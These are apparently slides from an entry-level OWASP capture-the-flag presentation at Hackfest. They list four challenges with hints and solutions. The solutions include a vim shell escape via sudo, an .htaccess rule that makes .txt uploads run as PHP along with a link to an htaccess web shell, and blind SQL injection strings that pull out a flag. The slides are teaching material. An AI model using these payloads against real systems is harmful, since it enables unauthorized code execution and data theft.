Mini-CTF OWASP

What is it ?

• What is the Mini-CTF ?
  • Short entry level challenge. 
  • Designed to make people learn about vulnerabilities.
  • Small competition at the Hackfest.
• 4 of them will be presented today.
  • File upload.
  • Deserialization.
  • Advance SQL injection.
  • Privilege escalation.

Where ?

• URL
  • https://owasp.zhack.ca
    • Privilege Escalation 2 / Privilege Escalation 1
    • Upload 2
    • SQL Injection 2
    • PHP Serialization 1
  • I usually keep the website up for 2-3 months after the CTF.
     
• GitHub
  • https://github.com/HoLyVieR/Hackfest-MiniCTF-2017

Hints

• Privilege Escalation 2 / Privilege Escalation 1
  • To launch
    • sudo -u admin COMMAND
• Upload 2
  • PHP file are blocked by a .htaccess rule
  • You can upload more than one file in the same directory
  • Look for extensions or special file not blocked
• SQL Injection 2
  • Try to look at what you can do with sub-select
• PHP Serialization 1.
  • The "__destruct" method of an object will be automatically called. Try to find a way to chain this to reach the method that read or write file.

Solutions

• Privilege Escalation 2 / Privilege Escalation 1
  • :e flag.txt
  • (ESC) !/bin/bash

Solutions

• Upload 2
  • .htaccess + fichier txt
    • AddType application/x-httpd-php .txt
  • .htaccess shell
    • https://github.com/wireghoul/htshells/blob/master/shell/mod_php.shell.htaccess

Solutions

• SQL Injection 2
  • True condition
    • aaaa"OR(SELECT(flag)FROM(flag))LIKE"F
    • aaaa"OR(SELECT(flag)FROM(flag))LIKE"FL
  • False condition
    • aaaa"OR(SELECT(flag)FROM(flag))LIKE"G
    • aaaa"OR(SELECT(flag)FROM(flag))LIKE"FK
  • Tab instead of parenthesis can also be used

Solutions

• Deserialization
  • En démo !